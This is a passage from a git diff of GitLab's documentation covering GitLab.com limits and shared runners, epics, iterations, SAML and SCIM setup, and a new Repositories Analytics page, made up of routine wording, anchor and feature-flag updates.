time](../../ci/yaml/README.md#artifactsexpire_in) | From June 22, 2020, deleted after 30 days unless otherwise specified (artifacts created before that date have no expiry). | deleted after 30 days unless otherwise specified | | Scheduled Pipeline Cron | `*/5 * * * *` | `19 * * * *` | | [Max jobs in active pipelines](../../administration/instance_limits.md#number-of-jobs-in-active-pipelines) | `500` for Free tier, unlimited otherwise | Unlimited | [Max CI/CD subscriptions to a project](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) | `2` | Unlimited | | [Max pipeline schedules in projects](../../administration/instance_limits.md#number-of-pipeline-schedules) | `10` for Free tier, `50` for all paid tiers | Unlimited | | [Max number of instance level variables](../../administration/instance_limits.md#number-of-instance-level-variables) | `25` | `25` | -| [Scheduled Job Archival](../../user/admin_area/settings/continuous_integration.md#archive-jobs-core-only) | 3 months | Never | +| [Scheduled Job Archival](../../user/admin_area/settings/continuous_integration.md#archive-jobs) | 3 months | Never | -## Repository size limit +## Account and limit settings GitLab.com has the following [account limits](../admin_area/settings/account_and_limit_settings.md) enabled. If a setting is not listed, it is set to the default value. @@ -99,6 +99,7 @@ or over the repository size limit, you can [reduce your repository size with Git | Setting | GitLab.com | Default | | ----------- | ----------- | ------------- | | Repository size including LFS | 10 GB | Unlimited | +| Maximum import size | 5 GB | 50 MB | NOTE: **Note:** `git push` and GitLab project imports are limited to 5 GB per request through Cloudflare. Git LFS and imports other than a file upload are not affected by this limit. @@ -124,20 +125,20 @@ A limit of: - 50 webhooks applies to groups. **(BRONZE ONLY)** - Payload is limited to 25MB -## Shared Runners +## Shared runners GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines. NOTE: **Note:** -Shared Runners provided by GitLab are **not** configurable. Consider [installing your own Runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs. +Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs. -### Linux Shared Runners +### Linux shared runners -Linux Shared Runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform. +Linux shared runners on GitLab.com run in [autoscale mode](https://docs.gitlab.com/runner/configuration/autoscale.html) and are powered by Google Cloud Platform. Autoscaling means reduced waiting times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. They're free to use for public open source projects and limited to 2000 CI minutes per month per group for private projects. More minutes -[can be purchased](../../subscriptions/index.md#purchasing-additional-ci-minutes), if +[can be purchased](../../subscriptions/gitlab_com/index.md#purchase-additional-ci-minutes), if needed. Read about all [GitLab.com plans](https://about.gitlab.com/pricing/). All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine @@ -145,13 +146,13 @@ installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default region of the VMs is US East1. Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. -The `gitlab-shared-runners-manager-X.gitlab.com` fleet of Runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared Runners, the instances are re-used up to 40 times. +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They will not run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. -Jobs handled by the shared Runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), +Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), **will be timed out after 3 hours**, regardless of the timeout configured in a project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. -Below are the shared Runners settings. +Below are the shared runners settings. | Setting | GitLab.com | Default | | ----------- | ----------------- | ---------- | @@ -162,8 +163,8 @@ Below are the shared Runners settings. #### Pre-clone script -Linux Shared Runners on GitLab.com provide a way to run commands in a CI -job before the Runner attempts to run `git init` and `git fetch` to +Linux shared runners on GitLab.com provide a way to run commands in a CI +job before the runner attempts to run `git init` and `git fetch` to download a GitLab repository. The [`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) can be used for: @@ -252,27 +253,27 @@ sentry_dsn = "X" BucketName = "bucket-name" ``` -### Windows Shared Runners (beta) +### Windows shared runners (beta) -The Windows Shared Runners are currently in +The Windows shared runners are currently in [beta](https://about.gitlab.com/handbook/product/#beta) and should not be used for production workloads. During the beta period, the -[shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota-starter-only) -will apply for groups and projects in the same way as Linux Runners. +[shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) +will apply for groups and projects in the same way as Linux runners. This may change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). -Windows Shared Runners on GitLab.com automatically autoscale by +Windows shared runners on GitLab.com automatically autoscale by launching virtual machines on the Google Cloud Platform. This solution uses a new [autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). -Windows Shared Runners execute your CI/CD jobs on `n1-standard-2` instances with 2 +Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with 2 vCPUs and 7.5GB RAM. You can find a full list of available Windows packages in the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). -We want to keep iterating to get Windows Shared Runners in a stable state and +We want to keep iterating to get Windows shared runners in a stable state and [generally available](https://about.gitlab.com/handbook/product/#generally-available-ga). You can follow our work towards this goal in the [related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). @@ -343,7 +344,7 @@ VMTag = "windows" #### Example Below is a simple `.gitlab-ci.yml` file to show how to start using the -Windows Shared Runners: +Windows shared runners: ```yaml .shared_windows_runners: @@ -382,14 +383,14 @@ test: definition](https://about.gitlab.com/handbook/product/#beta). - The average provisioning time for a new Windows VM is 5 minutes. This means that you may notice slower build start times - on the Windows Shared Runner fleet during the beta. In a future + on the Windows shared runner fleet during the beta. In a future release we will update the autoscaler to enable the pre-provisioning of virtual machines. This will significantly reduce the time it takes to provision a VM on the Windows fleet. You can follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). -- The Windows Shared Runner fleet may be unavailable occasionally +- The Windows shared runner fleet may be unavailable occasionally for maintenance or updates. -- The Windows Shared Runner virtual machine instances do not use the +- The Windows shared runner virtual machine instances do not use the GitLab Docker executor. This means that you will not be able to specify [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in your pipeline configuration. @@ -401,9 +402,9 @@ test: installation of additional software packages needs to be repeated for each job in your pipeline. - The job may stay in a pending state for longer than the - Linux shared Runners. + Linux shared runners. - There is the possibility that we introduce breaking changes which will - require updates to pipelines that are using the Windows Shared Runner + require updates to pipelines that are using the Windows shared runner fleet. ## Sidekiq @@ -413,7 +414,7 @@ and the following environment variables: | Setting | GitLab.com | Default | |-------- |----------- |-------- | -| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | - | +| `SIDEKIQ_DAEMON_MEMORY_KILLER` | - | `1` | | `SIDEKIQ_MEMORY_KILLER_MAX_RSS` | `2000000` | `2000000` | | `SIDEKIQ_MEMORY_KILLER_HARD_LIMIT_RSS` | - | - | | `SIDEKIQ_MEMORY_KILLER_CHECK_INTERVAL` | - | `3` | @@ -523,6 +524,15 @@ Source: - Search for `rate_limit_http_rate_per_minute` and `rate_limit_sessions_per_second` in [GitLab.com's current HAProxy settings](https://gitlab.com/gitlab-cookbooks/gitlab-haproxy/blob/master/attributes/default.rb). +### Pagination response headers + +For performance reasons, if a query returns more than 10,000 records, GitLab +doesn't return the following headers: + +- `X-Total`. +- `X-Total-Pages`. +- `rel="last"` `Link`. + ### Rack Attack initializer Details of rate limits enforced by [Rack Attack](../../security/rack_attack.md). diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md index 35bdc6696eb..ec1e81bac2d 100644 --- a/doc/user/group/bulk_editing/index.md +++ b/doc/user/group/bulk_editing/index.md @@ -13,6 +13,9 @@ For more details, see [Bulk editing issues and merge requests at the project lev If you want to update attributes across multiple issues, epics, or merge requests in a group, you can do it by bulk editing them, that is, editing them together. +NOTE: **Note:** +Only the items visible on the current page are selected for bulk editing (up to 20). +  ## Bulk edit issues at the group level diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md index e61b24f84f6..ebf38aef4a6 100644 --- a/doc/user/group/clusters/index.md +++ b/doc/user/group/clusters/index.md @@ -46,7 +46,7 @@ You can associate more than one Kubernetes cluster to your group, and maintain d for different environments, such as development, staging, and production. When adding another cluster, -[set an environment scope](#environment-scopes-premium) to help +[set an environment scope](#environment-scopes) to help differentiate the new cluster from your other clusters. ## GitLab-managed clusters @@ -162,10 +162,10 @@ For a consolidated view of which CI [environments](../../../ci/environments/inde are deployed to the Kubernetes cluster, see the documentation for [cluster environments](../../clusters/environments.md). -## Security of Runners +## Security of runners -For important information about securely configuring GitLab Runners, see -[Security of Runners](../../project/clusters/add_remove_clusters.md#security-of-gitlab-runners) +For important information about securely configuring runners, see +[Security of runners](../../project/clusters/add_remove_clusters.md#security-of-runners) documentation for project-level clusters. ## More information diff --git a/doc/user/group/epics/index.md b/doc/user/group/epics/index.md index 04b57d13828..e8bcb7219fc 100644 --- a/doc/user/group/epics/index.md +++ b/doc/user/group/epics/index.md @@ -48,14 +48,14 @@ To learn what you can do with an epic, see [Manage epics](manage_epics.md). Poss - [Search for an epic from epics list page](manage_epics.md#search-for-an-epic-from-epics-list-page) - [Make an epic confidential](manage_epics.md#make-an-epic-confidential) - [Manage issues assigned to an epic](manage_epics.md#manage-issues-assigned-to-an-epic) -- [Manage multi-level child epics **(ULTIMATE)**](manage_epics.md#manage-multi-level-child-epics-ultimate) +- [Manage multi-level child epics **(ULTIMATE)**](manage_epics.md#manage-multi-level-child-epics) ## Relationships between epics and issues The possible relationships between epics and issues are: - An epic is the parent of one or more issues. -- An epic is the parent of one or more child epics. For details see [Multi-level child epics](#multi-level-child-epics-ultimate). **(ULTIMATE)** +- An epic is the parent of one or more child epics. For details see [Multi-level child epics](#multi-level-child-epics). **(ULTIMATE)** ```mermaid graph TD @@ -73,7 +73,7 @@ to add an issue to an epic, reorder issues, move issues between epics, or promot > - The health status of a closed issue [will be hidden](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3 or later. You can report on and quickly respond to the health of individual issues and epics by setting a -red, amber, or green [health status on an issue](../../project/issues/index.md#health-status-ultimate), +red, amber, or green [health status on an issue](../../project/issues/index.md#health-status), which will appear on your Epic tree. ### Disable Issue health status in Epic tree @@ -92,7 +92,7 @@ When you add an epic that's already linked to a parent epic, the link to its cur An epic can have multiple child epics up to the maximum depth of five. -See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics-ultimate) for +See [Manage multi-level child epics](manage_epics.md#manage-multi-level-child-epics) for steps to create, move, reorder, or delete child epics. ## Start date and due date @@ -145,7 +145,7 @@ then the parent epic's start date will reflect the change and this will propagat > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7327) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.10. -If your epic contains one or more [child epics](#multi-level-child-epics-ultimate) which +If your epic contains one or more [child epics](#multi-level-child-epics) which have a [start or due date](#start-date-and-due-date), a [roadmap](../roadmap/index.md) view of the child epics is listed under the parent epic. diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md index aaa5d3a3034..c09032bffb2 100644 --- a/doc/user/group/epics/manage_epics.md +++ b/doc/user/group/epics/manage_epics.md @@ -164,21 +164,9 @@ To make an epic confidential: - **In an existing epic:** in the epic's sidebar, select **Edit** next to **Confidentiality** then select **Turn on**. -### Disable confidential epics **(PREMIUM ONLY)** - -The confidential epics feature is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can disable it for your self-managed instance. - -To disable it: - -```ruby -Feature.disable(:confidential_epics) -``` - ## Manage issues assigned to an epic -### Add an issue to an epic +### Add a new issue to an epic You can add an existing issue to an epic, or, create a new issue that's automatically added to the epic. @@ -190,13 +178,13 @@ subgroups, are eligible to be added to the epic. Newly added issues appear at th issues in the **Epics and Issues** tab. An epic contains a list of issues and an issue can be associated with at most one epic. -When you add an issue that's already linked to an epic, the issue is automatically unlinked from its +When you add a new issue that's already linked to an epic, the issue is automatically unlinked from its current parent. -To add an issue to an epic: +To add a new issue to an epic: 1. Click the **Add** dropdown button. -1. Click **Add an issue**. +1. Click **Add a new issue**. 1. Identify the issue to be added, using either of the following methods: - Paste the link of the issue. - Search for the desired issue by entering part of the issue's title, then selecting the desired @@ -298,7 +286,7 @@ For more on epic templates, see [Epic Templates - Repeatable sets of issues](htt To add a child epic to an epic: 1. Click the **Add** dropdown button. -1. Click **Add an epic**. +1. Click **Add a new epic**. 1. Identify the epic to be added, using either of the following methods: - Paste the link of the epic. - Search for the desired issue by entering part of the epic's title, then selecting the desired @@ -313,7 +301,7 @@ To add a child epic to an epic: New child epics appear at the top of the list in the **Epics and Issues** tab. You can move child epics from one epic to another. -When you add an epic that's already linked to a parent epic, the link to its current parent is removed. +When you add a new epic that's already linked to a parent epic, the link to its current parent is removed. Issues and child epics cannot be intermingled. To move child epics to another epic: diff --git a/doc/user/group/index.md b/doc/user/group/index.md index 22ad311ab4f..32b76cf9280 100644 --- a/doc/user/group/index.md +++ b/doc/user/group/index.md @@ -227,7 +227,7 @@ To change this setting for a specific group: To change this setting globally, see [Default branch protection](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection). NOTE: **Note:** -In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection-premium-only). +In [GitLab Premium or higher](https://about.gitlab.com/pricing/), GitLab administrators can choose to [disable group owners from updating the default branch protection](../admin_area/settings/visibility_and_access_controls.md#disable-group-owners-from-updating-default-branch-protection). ## Add projects to a group @@ -340,7 +340,7 @@ Group syncing allows LDAP groups to be mapped to GitLab groups. This provides mo Group links can be created using either a CN or a filter. These group links are created on the **Group Settings -> LDAP Synchronization** page. After configuring the link, it may take over an hour for the users to sync with the GitLab group. -For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync-starter-only). +For more information on the administration of LDAP and group sync, refer to the [main LDAP documentation](../../administration/auth/ldap/index.md#group-sync). NOTE: **Note:** If an LDAP user is a group member when LDAP Synchronization is added, and they are not part of the LDAP group, they will be removed from the group. @@ -363,7 +363,7 @@ To create group links via filter: 1. Select the **LDAP Server** for the link. 1. Select `LDAP user filter` as the **Sync method**. -1. Input your filter in the **LDAP User filter** box. Follow the [documentation on user filters](../../administration/auth/ldap/index.md#set-up-ldap-user-filter-core-only). +1. Input your filter in the **LDAP User filter** box. Follow the [documentation on user filters](../../administration/auth/ldap/index.md#set-up-ldap-user-filter). 1. In the **LDAP Access** section, select the [permission level](../permissions.md) for users synced in this group. 1. Click the `Add Synchronization` button to save this group link. @@ -480,7 +480,7 @@ To remove a group and its contents: This action either: - Removes the group, and also queues a background job to delete all projects in that group. -- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/premium/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +- Since [GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/33257), on [Premium or Silver](https://about.gitlab.com/pricing/premium/) or higher tiers, marks a group for deletion. The deletion will happen 7 days later by default, but this can be changed in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). ### Restore a group **(PREMIUM)** @@ -660,7 +660,7 @@ Optionally, on [Premium or Silver](https://about.gitlab.com/pricing/) or higher you can configure the projects within a group to be deleted after a delayed interval. During this interval period, the projects will be in a read-only state and can be restored, if required. -The interval period defaults to 7 days, and can be modified by an admin in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only). +The interval period defaults to 7 days, and can be modified by an admin in the [instance settings](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). To enable delayed deletion of projects: @@ -668,6 +668,9 @@ To enable delayed deletion of projects: 1. Expand the **Permissions, LFS, 2FA** section, and check **Enable delayed project removal**. 1. Click **Save changes**. +NOTE: **Note:** +The group setting for delayed deletion is not inherited by sub-groups and has to be individually defined for each group. + #### Prevent project forking outside group **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216987) in GitLab 13.3. @@ -711,7 +714,8 @@ If your namespace shows `N/A` as the total storage usage, you can trigger a reca #### Group push rules **(STARTER)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34370) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.8. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/224129) in GitLab 13.4. Group push rules allow group maintainers to set [push rules](../../push_rules/push_rules.md) for newly created projects within the specific group. @@ -724,18 +728,10 @@ When set, new subgroups have push rules set for them based on either: - The closest parent group with push rules defined. - Push rules set at the instance level, if no parent groups have push rules defined. -##### Enabling the feature - -This feature comes with the `:group_push_rules` feature flag disabled by default. It can be enabled for specific group using feature flag [API endpoint](../../api/features.md#set-or-create-a-feature) or by GitLab administrator with Rails console access by running: - -```ruby -Feature.enable(:group_push_rules) -``` - ### Maximum artifacts size **(CORE ONLY)** For information about setting a maximum artifact size for a group, see -[Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size-core-only). +[Maximum artifacts size](../admin_area/settings/continuous_integration.md#maximum-artifacts-size). ## User contribution analysis **(STARTER)** @@ -747,6 +743,12 @@ and issues) performed by your group members. With [GitLab Issue Analytics](issues_analytics/index.md), you can see a bar chart of the number of issues created each month in your groups. +## Repositories analytics **(PREMIUM)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. + +With [GitLab Repositories Analytics](repositories_analytics/index.md), you can download a CSV of the latest coverage data for all the projects in your group. + ## Dependency Proxy **(PREMIUM)** Use GitLab as a [dependency proxy](../packages/dependency_proxy/index.md) for upstream Docker images. diff --git a/doc/user/group/iterations/index.md b/doc/user/group/iterations/index.md index f04472a29bb..20cbc043d83 100644 --- a/doc/user/group/iterations/index.md +++ b/doc/user/group/iterations/index.md @@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - It's enabled on GitLab.com. > - It's able to be enabled or disabled per-group. > - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations-core-only). **(CORE ONLY)** +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#disable-iterations). **(CORE ONLY)** Iterations are a way to track issues over a period of time. This allows teams to track velocity and volatility metrics. Iterations can be used with [milestones](../../project/milestones/index.md) @@ -62,7 +62,7 @@ To edit an iteration, click the three-dot menu (**{ellipsis_v}**) > **Edit itera > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216158) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.2. To learn how to add an issue to an iteration, see the steps in -[Managing issues](../../project/issues/managing_issues.md#add-an-issue-to-an-iteration-starter). +[Managing issues](../../project/issues/managing_issues.md#add-an-issue-to-an-iteration). ## Disable Iterations **(CORE ONLY)** @@ -76,7 +76,7 @@ To enable it: # Instance-wide Feature.enable(:group_iterations) # or by group -Feature.enable(:group_iterations, Group.find(<group id>)) +Feature.enable(:group_iterations, Group.find(<group ID>)) ``` To disable it: @@ -85,7 +85,7 @@ To disable it: # Instance-wide Feature.disable(:group_iterations) # or by group -Feature.disable(:group_iterations, Group.find(<group id>)) +Feature.disable(:group_iterations, Group.find(<group ID>)) ``` <!-- ## Troubleshooting diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md new file mode 100644 index 00000000000..b013e371ed2 --- /dev/null +++ b/doc/user/group/repositories_analytics/index.md @@ -0,0 +1,67 @@ +--- +type: reference +stage: Verify +group: Analytics +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +--- + +# Repositories Analytics **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215104) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-repositories-analytics). **(CORE ONLY)** + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +You can get a CSV of the code coverage data for all of the projects in your group. This report has a maximum of 1000 records. To get the report: + +1. Go to your group's **Analytics > Repositories** page +1. Click **Download historic test coverage data (.csv)**, +1. In the popup, select the projects you want to include in the report. +1. Select the date range for the report from the preset options. +1. Click **Download test coverage data (.csv)**. + +The projects dropdown shows up to 100 projects from your group. If the project you want to check is not in the dropdown list, you can select **All projects** to download the report for all projects in your group, including any projects that are not listed. There is a plan to improve this behavior in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/250684). + +For each day that a coverage report was generated by a job in a project's pipeline, there will be a row in the CSV which includes: + +- The date when the coverage job ran +- The name of the job that generated the coverage report +- The name of the project +- The coverage value + +If the project's code coverage was calculated more than once in a day, we will take the last value from that day. + +## Enable or disable Repositories Analytics **(CORE ONLY)** + +Repositories Analytics is under development but ready for production use. +It is deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can opt to disable it. + +To enable it: + +```ruby +Feature.enable(:group_coverage_reports) +``` + +To disable it: + +```ruby +Feature.disable(:group_coverage_reports) +``` + +<!-- ## Troubleshooting + +Include any troubleshooting steps that you can foresee. If you know beforehand what issues +one might have when setting this up, or when something is changed, or on upgrading, it's +important to describe those, too. Think of things that may go wrong and include them here. +This is important to minimize requests for support, and to avoid doc comments with +questions that you know someone might ask. + +Each scenario can be a third-level heading, e.g. `### Getting error message X`. +If you have none to add when creating a doc, leave this section in place +but commented out to help encourage others to add to it in the future. --> diff --git a/doc/user/group/saml_sso/group_managed_accounts.md b/doc/user/group/saml_sso/group_managed_accounts.md index 126970ebbb6..7497d036d31 100644 --- a/doc/user/group/saml_sso/group_managed_accounts.md +++ b/doc/user/group/saml_sso/group_managed_accounts.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Group Managed Accounts **(PREMIUM)** CAUTION: **Caution:** -This [Closed Beta](https://about.gitlab.com/handbook/product/#closed-beta) feature is being re-evaluated in favor of a different +This [Closed Beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#sts=Closed%20Beta) feature is being re-evaluated in favor of a different [identity model](https://gitlab.com/gitlab-org/gitlab/-/issues/218631) that does not require separate accounts. We recommend that group administrators who haven't yet implemented this feature wait for the new solution. @@ -76,7 +76,8 @@ This restriction also applies to projects forked from or to those groups. Groups with group-managed accounts can disallow forking of projects to destinations outside the group. To do so, enable the "Prohibit outer forks" option in **Settings > SAML SSO**. -When enabled, projects within the group can only be forked to other destinations within the group (including its subgroups). +When enabled **at the parent group level**, projects within the group can be forked +only to other destinations within the group (including its subgroups). ## Credentials inventory for Group-managed accounts **(ULTIMATE)** @@ -104,7 +105,7 @@ Since personal access tokens are the only token needed for programmatic access t ### Setting a limit -Only a GitLab administrator or an owner of a group-managed account can set a limit. When this field is left empty, the [instance-level restriction](../../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens-ultimate-only) on the lifetime of personal access tokens apply. +Only a GitLab administrator or an owner of a group-managed account can set a limit. When this field is left empty, the [instance-level restriction](../../admin_area/settings/account_and_limit_settings.md#limiting-lifetime-of-personal-access-tokens) on the lifetime of personal access tokens apply. To set a limit on how long personal access tokens are valid for users in a group managed account: diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md index f516f4080fa..57b9cc92c51 100644 --- a/doc/user/group/saml_sso/index.md +++ b/doc/user/group/saml_sso/index.md @@ -274,10 +274,10 @@ Group SAML on a self-managed instance is limited when compared to the recommende [instance-wide SAML](../../../integration/saml.md). The recommended solution allows you to take advantage of: - [LDAP compatibility](../../../administration/auth/ldap/index.md). -- [LDAP Group Sync](../index.md#manage-group-memberships-via-ldap-starter-only). -- [Required groups](../../../integration/saml.md#required-groups-starter-only). -- [Admin groups](../../../integration/saml.md#admin-groups-starter-only). -- [Auditor groups](../../../integration/saml.md#auditor-groups-starter-only). +- [LDAP Group Sync](../index.md#manage-group-memberships-via-ldap). +- [Required groups](../../../integration/saml.md#required-groups). +- [Admin groups](../../../integration/saml.md#admin-groups). +- [Auditor groups](../../../integration/saml.md#auditor-groups). ### Omnibus installations @@ -361,7 +361,7 @@ Here are possible causes and solutions: Getting both of these errors at the same time suggests the NameID capitalization provided by the Identity Provider didn't exactly match the previous value for that user. -This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and Todos to be lost. +This can be prevented by configuring the [NameID](#nameid) to return a consistent value. Fixing this for an individual user involves [unlinking SAML in the GitLab account](#unlinking-accounts), although this will cause group membership and to-dos to be lost. ### Message: "Request to link SAML account must be authorized" @@ -377,7 +377,7 @@ Alternatively, when users need to [link SAML to their existing GitLab.com accoun | Cause | Solution | |-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| As mentioned in the [NameID](#nameid) section, if the NameID changes for any user, the user can be locked out. This is a common problem when an email address is used as the identifier. | Follow the steps outlined in the ["SAML authentication failed: User has already been taken"](#message-saml-authentication-failed-user-has-already-been-taken) section. If many users are affected, we recommend that you use the appropriate API. | +| As mentioned in the [NameID](#nameid) section, if the NameID changes for any user, the user can be locked out. This is a common problem when an email address is used as the identifier. | Follow the steps outlined in the ["SAML authentication failed: User has already been taken"](#message-saml-authentication-failed-user-has-already-been-taken) section. | ### I need to change my SAML app diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md index 9a2bd2e8806..4f74e672392 100644 --- a/doc/user/group/saml_sso/scim_setup.md +++ b/doc/user/group/saml_sso/scim_setup.md @@ -159,7 +159,16 @@ application described above. ## User access and linking setup -As long as [Group SAML](index.md) has been configured, prior to turning on sync, existing GitLab.com users can link to their accounts in one of the following ways, before synchronization is active: +The following diagram is a general outline on what happens when you add users to your SCIM app: + +```mermaid +graph TD + A[Add User to SCIM app] -->|IdP sends user info to GitLab| B(GitLab: Does the email exists?) + B -->|No| C[GitLab creates user with SCIM identity] + B -->|Yes| D[GitLab sends message back 'Email exists'] +``` + +As long as [Group SAML](index.md) has been configured, existing GitLab.com users can link to their accounts in one of the following ways: - By updating their *primary* email address in their GitLab.com user account to match their identity provider's user profile email address. - By following these steps: @@ -168,21 +177,41 @@ As long as [Group SAML](index.md) has been configured, prior to turning on sync, 1. Click on the GitLab app in the identity provider's dashboard or visit the **GitLab single sign-on URL**. 1. Click on the **Authorize** button. +We recommend users do this prior to turning on sync, because while synchronization is active, there may be provisioning errors for existing users. + New users and existing users on subsequent visits can access the group through the identify provider's dashboard or by visiting links directly. For role information, please see the [Group SAML page](index.md#user-access-and-management) ### Blocking access -To rescind access to the group, we recommend removing the user from the identity +To rescind access to the group, remove the user from the identity provider or users list for the specific app. -Upon the next sync, the user will be deprovisioned, which means that the user will be removed from the group. The user account will not be deleted unless using [group managed accounts](group_managed_accounts.md). +Upon the next sync, the user is deprovisioned, which means that the user is removed from the group. + +NOTE: **Note:** +Deprovisioning does not delete the user account. + +```mermaid +graph TD + A[Remove User from SCIM app] -->|IdP sends request to GitLab| B(GitLab: Is the user part of the group?) + B -->|No| C[Nothing to do] + B -->|Yes| D[GitLab removes user from GitLab group] +``` ## Troubleshooting This section contains possible solutions for problems you might encounter. +### How come I can't add a user after I removed them? + +As outlined in the [Blocking access section](#blocking-access), when you remove a user, they are removed from the group. However, their account is not deleted. + +When the user is added back to the SCIM app, GitLab cannot create a new user because the user already exists. + +Solution: Have a user sign in directly to GitLab, then [manually link](#user-access-and-linking-setup) their account. + ### Azure #### How do I verify my SCIM configuration is correct? @@ -236,7 +265,7 @@ Alternatively, the [SCIM API](../../../api/scim.md#get-a-list-of-saml-users) can For example: ```shell -curl 'https://example.gitlab.com/api/scim/v2/groups/GROUP_NAME/Users?startIndex=1"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" +curl 'https://gitlab.example.com/api/scim/v2/groups/GROUP_NAME/Users?startIndex=1"' --header "Authorization: Bearer <your_scim_token>" --header "Content-Type: application/scim+json" ``` To see how this compares to the value returned as the SAML NameId, you can have the user use a [SAML Tracer](index.md#saml-debugging-tools). diff --git a/doc/user/group/settings/img/import_panel_v13_1.png 